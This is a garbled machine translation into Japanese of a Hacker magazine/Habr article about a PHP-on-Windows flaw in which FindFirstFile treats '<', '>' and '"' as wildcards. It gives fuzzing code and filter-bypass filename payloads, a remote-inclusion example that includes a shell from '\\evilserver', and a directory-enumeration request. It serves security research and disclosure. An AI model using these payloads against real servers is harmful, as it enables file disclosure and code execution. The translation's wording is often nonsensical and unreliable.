PHPの新しいファイルアクセスの脆弱性

数年前、誰もが単にエラーベースのMySQLに夢中になり、非シリアル化は複雑で、実際の生活では遭遇しなかったように見えました。 現在、これらはすでに古典的なテクニックです。 インクルージョンに含まれるヌルバイトなどの恐竜については、ファイル名が切り捨てられて置き換えられました。 研究者は絶えず何かを掘り起こし、思いついていますが、その間、インタープリターとエンジンの新しいバージョンがすでに出ており、開発者の新しいバグがあります。
実際、脆弱性を見つける方法は3つあります。創意工夫(研究者が実際に機能するかどうかを調べるためにいくつかのトリックを思いついたとき)、ソースコード分析、およびファジングです。 興味深い中国のファジングとその開発について、私の一部としてお伝えしたいと思います。

機能リストとテスト結果

ファジングは貴重な毛皮だけではありません...


それはすべて、Googleが発行を注文したという事実から始まりました。どのリクエストを覚えていないのか、中国語でサイトを表示しました: http ://code.google.com/p/pasc2at/wiki/SimplifiedChinese。 興味深いことに、リストには記事で公開されたばかりのごく最近の発見が含まれていました。 その中には、私の注目を集めた以下のコンテンツのコードがありました。
<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ?> 
彼は私が意味を理解していなかったので私を引き付けましたが、彼は説明でおなじみのwin32キャラクターを見つけました:) google.translateを使用しても、中国語の文章を翻訳するのは奇妙な娯楽であったため、このコードをWindowsで愚かに実行して結果を確認しました。 Windowsのファイルに少なくとも4つの名前(1.phP、1.php、1.ph>、1.ph <)があることがわかったとき、私は驚きました。 今では、中国語の文章は私にはそれほど遠くないように見え、Googleの翻訳者はその意味を理解するのを助けました。 実際、この「センス」には、コードの説明とその作業の結果以外の何物もありませんでした。 太くないというわけではありません-とにかく! この状況は私には向いていませんでした。 私はまだこれらの中国語を理解していません-どの機能がまだ脆弱であるか、この操作バグがどのような機能を持っているか、そして最終的にはなぜ機能するのかを理解するのは本当に面白くないですか

宴会の継続をお願いします!


最初にしたことは、2番目のイテレーターを追加し、最後の2バイトでファジーコードを実行することでした。 結果は予測不可能でした:
 1.p<0 (-  ) 1.p< (  ) 1.p<" 1.p<. 1.p<< 1.p>> 1.p<> 1.p>< 1.p<(p/P) 1.p>(p/P) 1.p(h/H)< 1.p(h/H)> 1.p(h/H)(p/P) 
ここからパターンがはっきりと見えるようになりました-ファイル名の最後には、ピリオド、二重引用符、スペース、ゼロバイトの文字があります。 この予想をテストするために、次のコードを実行しました。
 <?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?> 
ご想像のとおり、彼は1337を返しました。つまり、すべてが予測どおりに機能しました。 これ自体はすでに、一般的な脆弱性のシンボルの拡張であり、インクルージョンのヌルバイトに代わるものです。 インタプリタのモックを続けた後、ファイル名の最後にスラッシュが付いた構造が見つかりましたが、これも問題なく読み込まれました。
 file\./.\. file////. file\\\. file\\.//\/\/\/. 
ここではすべてが明確だと思います:ファイル名の後にスラッシュを使用する場合、最後に常にピリオドが必要です。 この場合、スラッシュを混在させることができ、それらの間に1つのポイントを貼り付けることができます。
このすべてで、主なものは不明確でした-シンボルは何を隠しますか?

優れた強力なWINAPI


すぐに気づいたように、ファジングはこのエラーの性質を理解していません。 並べ替えの確認または呼び出しの追跡の2つのオプションがありました。 これらのメソッドはどちらも、FindFirstFile関数を呼び出すという同じことをすぐに指しています。 同時に、コールはすでにスタック上にあり、文字>は?に置き換えられ、<by *では、二重引用符がドットに置き換えられました。 また、置換にもかかわらず、<didがファイルマスク内で常に*のように機能するわけではありませんが、<<は常にうまく機能していることに気づいたのもとても楽しかったです。 同時に、両方の呼び出しはスタック上でまったく同じでしたが、結果は異なりました(図を参照)。 足がどこから成長するかが完全に明らかになりました。 そして、脚はMSという名前でFから本当に成長しました。



MSDNの使用


ここで、FindFirstFile関数のこの動作が正常であるかどうか、またはここでバグが発生するかどうかを理解する必要がありました。 この質問への回答をドキュメントで探し始めました: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
ドキュメント自体は、文字> <"については何も言っていませんが、コメントでは...
バグ?!
「<」および「>」の文字は、この関数によってワイルドカードのように扱われます。

[MSFT]-これらは、パスおよびファイル名に不正な文字として「ファイルの命名」トピックにリストされています。 このトピックは、これを明確にするために更新されています。
歴史

2007年10月19日
xMartian

5/2/2008
マークアモス-MSFT
つまり、このバグは2007年に知られていました! そして、メーカーの反応は一般的にその内容に衝撃的でした...コメントはありません:)。 これについては、PHPのこの動作の理由が完全に明らかになったようです。 このバグの範囲を拡大し始めることができます。 さまざまなオプションを試し、多くのドキュメントを読み直し(MSDNは非常に便利です)、何百ものアイデアを試しましたが、WINシステムのファイル名に有効ないくつかのルールを特定しました。 さらに、FindFirstFileのバグは、そのうちの最初の4つにのみ寄与します(ゼロポイントは考慮しません)。 また、先を見据えて、この脆弱性はfile_get_contents関数だけに関係するものではないと言います。
  1. 記号*および? PHPを介してFindFirstFileを呼び出すときに、ファイル名で機能しません(フィルター済み)。
  2. FindFirstFileを*で呼び出すと、文字<は置き換えられます。つまり、任意の数の任意の文字のマスクです。 この場合、これが正しく機能しない場合が見つかりました(図を参照)。 保証されたマスク*には、<<を使用します。
    例: include( 'shell <')はshell *ファイルを含み、複数のファイルがマスクに該当する場合、アルファベットの前にあるファイルが接続されます。
  3. FindFirstFileを呼び出すときに、>文字は、?で置き換えられます。つまり、任意の1文字です。
    :include( 'shell.p> p')はshell.p?Pファイルをインクルードし、複数のファイルがマスクに該当する場合、アルファベットの前のファイルが接続されます。
  4. FindFirstFileがピリオドで呼び出されると、文字 "が置き換えられます。
    例: include( 'shell' php ')はinclude(' shell.php ')と同等です。
  5. ファイル名の最初の文字がドットの場合、このドットに関係なく名前でファイルを読み取ることができます。
    例: fopen( "htaccess")はfopen( "。Htaccess")と同等であり、より洗練された項目1を使用して、fopen( "h <<")。ファイル名にはアルファベットの2番目の文字 "a"が含まれる彼はおそらく最初になります。
  6. ファイル名の最後には、1つまたは異なるタイプ(順方向と逆方向)のスラッシュのシーケンスを使用できます。その間に1つのドットを挿入できます。最後には、「ではなく、実際のドット」が常に必要です。
    例: fopen( "")
  7. \\で始まり、その後にピリオド以外の文字が続くネットワーク名を使用できます。 これは明らかであり、長い間誰にでも知られています。 ネットワーク名が存在しない場合、ファイルの操作にさらに4秒かかるため、時間の満了とエラーmax_execution_timeが発生します(記事「 Gulchat、open the face 」を参照)。 また、allow_url_fopen = OffをバイパスしてRFIを実行することもできます。
    例: include( '\\ evilserver \ shell.php')
  8. \\。\で始まる拡張名を使用できます。これにより、ファイル名のドライブを切り替えることができます。
    例: include( '\\。\ C:\ my \ file.php \ .. \ .. \ .. \ D:\ anotherfile.php')。
  9. スラッシュフィルタリングをバイパスするには、代替ディスク名構文を使用できます。
    例: file_get_contents( 'C:boot.ini')はfile_get_contents( 'C:/boot.ini')と同等です
  10. 短いDOS互換のファイル名とディレクトリ名を使用できます。 これはduだ、と私は主張しない。 しかし、名前が3文字より短いファイルが4つ以上ディレクトリに含まれている場合、そのような名前には4つの16進文字が追加されることに注意してください。 同様に、ディレクトリ内に同じ最初の2文字で始まる名前のファイルが4つ以上ある場合、ファイル名が変更されます。
    引用:
    具体的には、4つを超えるファイルが同じ6文字のルートを使用する場合、ファイル名の最初の2文字を4文字のハッシュコードと組み合わせて一意の指定子を追加することにより、追加のファイル名が作成されます。 ディレクトリには、MYFAVO〜1.DOC、MYFAVO〜2.DOC、MYFAVO〜3.DOC、およびMYFAVO〜4.DOCという名前のファイルを含めることができます。 このルートの追加ファイルには、MY3140〜1.DOC、MY40C7〜1.DOC、およびMYEACC〜1.DOCという名前を付けることができます。
    例: in.confのDOS名はIND763〜1.CONです。つまり、file_get_contents行( '<< D763 <<')で読み取ることができますが、実際のファイル名のバイトはまったく含まれていません。 これらの4つの16進文字がどのようにカウントされるかは、どこにも記載されていませんが、ファイル名のみに依存しているようです。
  11. PHPでは、コマンドライン環境(mod_phpではなくphp.exe)で、予約名aux、con、prn、com1-9、lpt1-9のファイルの詳細が機能します。
    例: file_get_contents( 'C:/tmp/con.jpg')は、CONデバイスからヌルバイトを無限に読み取り、EOFを待機します。
    例: file_put_contents( 'C:/tmp/con.jpg',chr(0x07))は、サーバースピーカーによって再生されます(音楽:))。
すべてのアイテムを切り取り、目立つ場所でフレームに吊るすことをお勧めします。 余計なことはありません:)。

カウントを再生します


PHPのソースを少し覚えていたからといって、脆弱性がfile_get_contentsのみに関係しているというファジングの下で​​、署名の中国人を信じられなかったのです。 考え直すことなく、ファイルの操作に関して覚えているすべての機能をチェックしました。 結果はプラス以上でした。
機能には脆弱性が存在します。
 fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open() 
存在しない:
 rename unlink rmdir 
ローミングする場所がありますか? しかし、これはそれほど悪くはありません。

PoC:使用方法のアイデア


明らかに、この脆弱性は、考えられるすべてのフィルターと制限をバイパスするために使用できます。 たとえば、.htaccessファイルの場合、代替名はh <<になります(セクション4、ポイント1を参照)。 通常、2文字のファイルは名前なしで読み取ることができます(9項を参照)。 まあなど。 別の興味深いアプリケーションもあります-フォルダーとファイルの名前の定義です。
例を考えてみましょう:
 <?php file_get_contents("/images/".$_GET['a'].".jpg"); ?> 
このコードを使用すると、Webサーバーディレクトリのリストを非常に簡単に取得できます。
リクエストtest.php?A = .. / a <%00を送信し、次のような答えを取得します
 Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ... 
または
 Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ... 
最初のケースでは、サーバーはルートの文字「a」で始まる単一のディレクトリを見つけられませんでした。
次に、2番目の文字の選択を開始できます。 高速化するために、音声学を使用できます(記事「より高速で高速かつ高速。SQLインジェクションの操作に対する革新的なアプローチ」を参照してください)。 ブラインドSQLインジェクションを活用するための古き良き手法は機能します。
実験中に、サーバーがエラーメッセージで見つかったパスをすぐに表示することがありました。 次に、ディレクトリが同じ文字で始まる場合にのみ選択する必要があります。 エラーの結論が何に依存するか、私はそれを理解し、それを裁判のために公開する時間を持っていませんでした。

叙情的な余談


マジシャンは4月19日に早くも「Webアプリケーションを攻撃する既知の手法」という記事でそれを発表した中国人からのレポートを発見しましたが、この脆弱性については説明も強調もありませんでした。始めました。

道徳


正直なところ、私は本当にヌルバイトに代わるものを見つけたかったのですが、無駄でした。 しかし、この脆弱性は、他の攻撃と同様に興味深い攻撃の範囲を広げます。 実際、ファイルを操作する機能を通じてディレクトリとファイルを検索する機能を提供します。 これはそれ自体がユニークな現象です。 ファジングで中国人に敬意を払うかもしれませんが、私は彼らと他のすべての人に、このようにして得られた生データを調査することを勧めます。 ファジングですが、頭で考える必要があります。

便利なリンク:
ハッカーマガジン、 2月(02)145
ウラジミール「d0znp」ボロンツォフ

ハッカーを購読する

Source: https://habr.com/ru/post/J112691/


All Articles